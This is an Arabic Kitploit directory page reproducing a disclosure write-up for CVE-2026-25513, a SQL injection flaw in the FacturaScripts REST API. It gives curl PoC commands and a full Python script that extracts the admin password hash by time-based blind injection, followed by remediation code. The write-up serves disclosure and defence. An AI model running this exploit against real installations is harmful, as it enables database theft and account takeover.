Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-25513 — CVE-2026-25513 - يحتوي FacturaScripts على ثغرة حقن SQL في جملة ORDER BY في واجهة برمجة التطبيقات (API) | Kitploit
أدوات/GitHubGitHub/lukasz-rybak/cve-2026-25513
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليم
GitHublukasz-rybak/cve-2026-25513

CVE-2026-25513

CVE-2026-25513 - يحتوي FacturaScripts على ثغرة حقن SQL في جملة ORDER BY في واجهة برمجة التطبيقات (API)

عرض المستودع
منذ 4 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-25513: FacturaScripts يحتوي على ثغرة حقن SQL في جملة ORDER BY في واجهة API

نظرة عامة

الحقلالتفاصيل
معرف CVECVE-2026-25513
الخطورةعالية (HIGH)
الإشعار الأمنيعرض الإشعار
اكتشفهاLukasz Rybak

المنتجات المتأثرة

  • facturascripts/facturascripts (الإصدارات: < 2025.81)

تصنيف CWE

  • CWE-20: التحقق غير السليم من المدخلات (Improper Input Validation)
  • CWE-89: تحييد غير سليم للعناصر الخاصة المستخدمة في أمر SQL ('حقن SQL')
  • CWE-943: تحييد غير سليم للعناصر الخاصة في منطق استعلام البيانات (Data Query Logic)
  • CWE-1286: التحقق غير السليم من الصحة النحوية للمدخلات

التفاصيل

ملخص

يحتوي FacturaScripts على ثغرة حرجة في حقن SQL في REST API تسمح للمستخدمين المُصادَق عليهم لواجهة API بتنفيذ استعلامات SQL تعسفية عبر معامل sort. توجد الثغرة في طريقة ModelClass::getOrderBy() حيث يتم دمج معاملات الفرز المقدمة من المستخدم مباشرةً في جملة ORDER BY الخاصة بـ SQL دون أي تحقق أو تنظيف. يؤثر هذا على جميع نقاط نهاية API التي تدعم وظيفة الفرز.


التفاصيل

يعرض REST API الخاص بـ FacturaScripts نماذج قاعدة البيانات عبر نقاط نهاية متعددة (مثل /api/3/users و /api/3/attachedfiles و /api/3/customers). تدعم هذه النقاط معامل sort الذي يسمح للعملاء بتحديد ترتيب النتائج. تعالج API هذا المعامل عبر طريقة ModelClass::all() التي تستدعي الدالة القابلة للاستغلال getOrderBy().

مواقع الكود القابلة للاستغلال

1. النماذج القديمة (Legacy Models): الملف: /Core/Model/Base/ModelClass.php الطريقة: getOrderBy() دمج مباشر للمفاتيح والقيم من مصفوفة $order.

2. النماذج الحديثة (DbQuery): الملف: /Core/DbQuery.php الطريقة: orderBy() الأسطر: 255-259

root@kitploit:~
        // If it contains parentheses, it is not escaped (VULNERABILITY!)
        if (strpos($field, '(') !== false && strpos($field, ')') !== false) {
            $this->orderBy[] = $field . ' ' . $order;
            return $this;
        }

يهدف هذا الفحص إلى السماح بدوال SQL لكنه يفشل في التحقق منها، مما يسمح بحقن SQL تعسفي.


إثبات المفهوم (PoC)

المتطلبات الأساسية

  • رمز مصادقة API صالح (ترويسة X-Auth-Token)
  • الوصول إلى نقاط نهاية API الخاصة بـ FacturaScripts

التحقق خطوة بخطوة (CLI)

نظرًا لأن FacturaScripts يتطلب مفتاح API موجودًا مسبقًا، فإننا نسجّل الدخول أولاً عبر واجهة الويب للعثور على مفتاح صالح.

1. تسجيل الدخول واسترداد مفتاح API صالح: نتعامل مع رمز CSRF وملفات تعريف الارتباط الخاصة بالجلسة للوصول إلى الإعدادات واسترداد أول مفتاح متاح.

root@kitploit:~
# Login
TOKEN=$(curl -s -L -c cookies.txt "http://localhost:8091/login" | grep -Po 'name="multireqtoken" value="\K[^"]+' | head -n 1)
curl -s -b cookies.txt -c cookies.txt -X POST "http://localhost:8091/login" \
  -d "fsNick=admin" -d "fsPassword=admin" -d "action=login" -d "multireqtoken=$TOKEN"

# Find the ID of the first existing API key
API_ID=$(curl -s -b cookies.txt "http://localhost:8091/EditSettings?activetab=ListApiKey" | grep -Po 'EditApiKey\?code=\K\d+' | head -n 1)

# Extract the API key string using its ID
API_KEY=$(curl -s -b cookies.txt "http://localhost:8091/EditApiKey?code=$API_ID" | grep -Po 'name="apikey" value="\K[^"]+' | head -n 1)
echo "Using API Key: $API_KEY"

2. التحقق من حقن SQL القائم على الوقت: استخدم API_KEY المستخرج في ترويسة X-Auth-Token.

root@kitploit:~
# Normal request (baseline)
time curl -g -s -H "X-Auth-Token: $API_KEY" "http://localhost:8091/api/3/users?limit=1"

# Injected request (SLEEP payload in the sort key)
time curl -g -s -H "X-Auth-Token: $API_KEY" \
  "http://localhost:8091/api/3/users?limit=1&sort[nick,(SELECT(SLEEP(3)))]=ASC"

النتيجة المتوقعة: سيستغرق الطلب المُحقَن وقتًا أطول بشكل ملحوظ (يعتمد التأخير على سجلات قاعدة البيانات)، مما يؤكد وجود حقن SQL.


أداة الاستغلال الآلي

يقوم هذا السكربت تلقائيًا بتسجيل الدخول إلى FacturaScripts، واسترداد مفتاح API صالح، وتنفيذ استخراج بيانات حساس لحالة الأحرف باستخدام حقن SQL أعمى قائم على الوقت.

root@kitploit:~
import requests
import time
import string
import re

# Configuration
BASE_URL = "http://localhost:8091"
USERNAME = "admin"
PASSWORD = "admin"
API_ENDPOINT = "/api/3/users"

session = requests.Session()

def get_token(url):
    """Extract multireqtoken from any page"""
    res = session.get(url)
    match = re.search(r'name="multireqtoken" value="([^"]+)"', res.text)
    return match.group(1) if match else None

def get_api_key():
    """Logs in and retrieves the first active API key dynamically"""
    print(f"[*] Logging in as {USERNAME}...")
    
    # 1. Login flow
    token = get_token(f"{BASE_URL}/login")
    if not token:
        print("[!] Failed to get initial CSRF token")
        return None
        
    login_data = {
        "fsNick": USERNAME,
        "fsPassword": PASSWORD,
        "action": "login",
        "multireqtoken": token
    }
    res = session.post(f"{BASE_URL}/login", data=login_data)
    if "Dashboard" not in res.text:
        print("[!] Login failed!")
        return None
    print("[+] Login successful.")

    # 2. Retrieve API Key ID from settings
    print("[*] Accessing API settings...")
    res = session.get(f"{BASE_URL}/EditSettings?activetab=ListApiKey")
    id_match = re.search(r'EditApiKey\?code=(\d+)', res.text)
    if not id_match:
        print("[!] No API keys found in system!")
        return None
    
    api_id = id_match.group(1)
    
    # 3. Get the actual API key string
    print(f"[*] Retrieving API key for ID {api_id}...")
    res = session.get(f"{BASE_URL}/EditApiKey?code={api_id}")
    key_match = re.search(r'name="apikey" value="([^"]+)"', res.text)
    if not key_match:
        print("[!] Failed to extract API key from page!")
        return None
        
    return key_match.group(1)

def time_based_sqli(api_key, payload):
    """Execute time-based SQL injection and measure response time"""
    headers = {"X-Auth-Token": api_key}
    params = {
        'limit': 1,
        f'sort[{payload}]': 'ASC'
    }
    start = time.time()
    try:
        requests.get(f"{BASE_URL}{API_ENDPOINT}", headers=headers, params=params, timeout=10)
    except requests.exceptions.ReadTimeout:
        return 10.0
    except:
        pass
    return time.time() - start

def extract_data(api_key, query, length=60):
    """Extracts data char by char using time-based blind SQLi"""
    extracted = ""
    charset = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ$./"
    
    print(f"[*] Starting extraction for query: {query}")
    for i in range(1, length + 1):
        found = False
        for char in charset:
            # Added BINARY to force case-sensitive comparison
            payload = f"(SELECT IF(BINARY SUBSTRING(({query}),{i},1)='{char}',SLEEP(2),nick))"
            elapsed = time_based_sqli(api_key, payload)
            
            if elapsed >= 2.0:
                extracted += char
                print(f"[+] Found char at pos {i}: {char} -> {extracted}")
                found = True
                break
        if not found:
            break
    return extracted

def main():
    print("="*60)
    print(" FacturaScripts Dynamic SQLi Exfiltration Tool")
    print("="*60)

    # 1. Get API Key dynamically
    api_key = get_api_key()
    if not api_key:
        return
    print(f"[+] Using API Key: {api_key}")

    # 2. Verify vulnerability
    print("[*] Verifying vulnerability...")
    if time_based_sqli(api_key, "(SELECT SLEEP(2))") >= 2.0:
        print("[+] System is VULNERABLE!")
    else:
        print("[-] System not vulnerable or API key invalid.")
        return

    # 3. Extract Admin Password Hash
    admin_hash = extract_data(api_key, "SELECT password FROM users WHERE nick='admin'")
    print(f"\n[!] FINAL ADMIN HASH: {admin_hash}")

if __name__ == "__main__":
    main()
image

الأثر

سرية البيانات

  • الكشف الكامل عن قاعدة البيانات عبر تقنيات حقن SQL الأعمى
  • استخراج بيانات حساسة تشمل:
    • بيانات اعتماد المستخدمين ومفاتيح API
    • معلومات التعريف الشخصية (PII) للعملاء
    • السجلات المالية وبيانات المعاملات
    • ذكاء الأعمال وبيانات التسعير
    • إعدادات النظام والأسرار

من المتأثر؟

  • المؤسسات التي تستخدم API الخاص بـ FacturaScripts للتكاملات
  • تطبيقات الجوال والتكاملات الخارجية التي تستخدم API
  • جميع المستخدمين الذين يمكن الوصول إلى بياناتهم عبر API
  • شركاء الأعمال الذين لديهم وصول إلى API

الإصلاح الموصى به

المعالجة الفورية

الخيار 1: تنفيذ تحقق صارم بالقائمة البيضاء (موصى به)

root@kitploit:~
// File: Core/Model/Base/ModelClass.php
// Method: getOrderBy()

private static function getOrderBy(array $order): string
{
    $result = '';
    $coma = ' ORDER BY ';

    // Get valid column names from model
    $validColumns = array_keys(static::getModelFields());

    foreach ($order as $key => $value) {
        // Validate column name against whitelist
        if (!in_array($key, $validColumns, true)) {
            throw new \Exception('Invalid column name for sorting: ' . $key);
        }

        // Validate sort direction (must be ASC or DESC)
        $value = strtoupper(trim($value));
        if (!in_array($value, ['ASC', 'DESC'], true)) {
            throw new \Exception('Invalid sort direction: ' . $value);
        }

        // Escape column name
        $safeColumn = self::$dataBase->escapeColumn($key);
        $result .= $coma . $safeColumn . ' ' . $value;
        $coma = ', ';
    }

    return $result;
}

الخيار 2: استخدام دوال تهريب قاعدة البيانات

root@kitploit:~
private static function getOrderBy(array $order): string
{
    $result = '';
    $coma = ' ORDER BY ';

    foreach ($order as $key => $value) {
        // Escape identifiers and validate direction
        $safeColumn = self::$dataBase->escapeColumn($key);
        $safeDirection = in_array(strtoupper($value), ['ASC', 'DESC'])
            ? strtoupper($value)
            : 'ASC';

        $result .= $coma . $safeColumn . ' ' . $safeDirection;
        $coma = ', ';
    }

    return $result;
}

الخيار 3: استخدام نمط منشئ الاستعلامات (Query Builder)

root@kitploit:~
// Refactor to use prepared statements
public static function all(array $where = [], array $order = [], int $offset = 0, int $limit = 0): array
{
    $query = self::table();

    // Apply WHERE conditions
    foreach ($where as $condition) {
        $query->where($condition);
    }

    // Apply ORDER BY with validation
    foreach ($order as $column => $direction) {
        if (!array_key_exists($column, static::getModelFields())) {
            continue; // Skip invalid columns
        }
        $query->orderBy($column, $direction);
    }

    return $query->offset($offset)->limit($limit)->get();
}

أفضل الممارسات الأمنية لواجهة API

root@kitploit:~
// Add to API configuration
$config = [
    'max_sort_fields' => 3,  // Limit number of sort fields
    'allowed_sort_fields' => ['id', 'date', 'name'],  // Whitelist
    'default_sort' => 'id ASC',  // Safe default
];

الاعتمادات

اكتشفها: Łukasz Rybak

المراجع

  • https://github.com/NeoRazorX/facturascripts/security/advisories/GHSA-cjfx-qhwm-hf99
  • https://github.com/NeoRazorX/facturascripts/commit/1b6cdfa9ee1bb3365ea4a4ad753452035a027605
  • https://nvd.nist.gov/vuln/detail/CVE-2026-25513
  • https://github.com/advisories/GHSA-cjfx-qhwm-hf99

إخلاء المسؤولية

تم الإفصاح عن هذا CVE بشكل مسؤول وفقًا لممارسات الإفصاح المنسق عن الثغرات. المعلومات الواردة هنا لأغراض تعليمية ودفاعية فقط.

تنزيل الأداة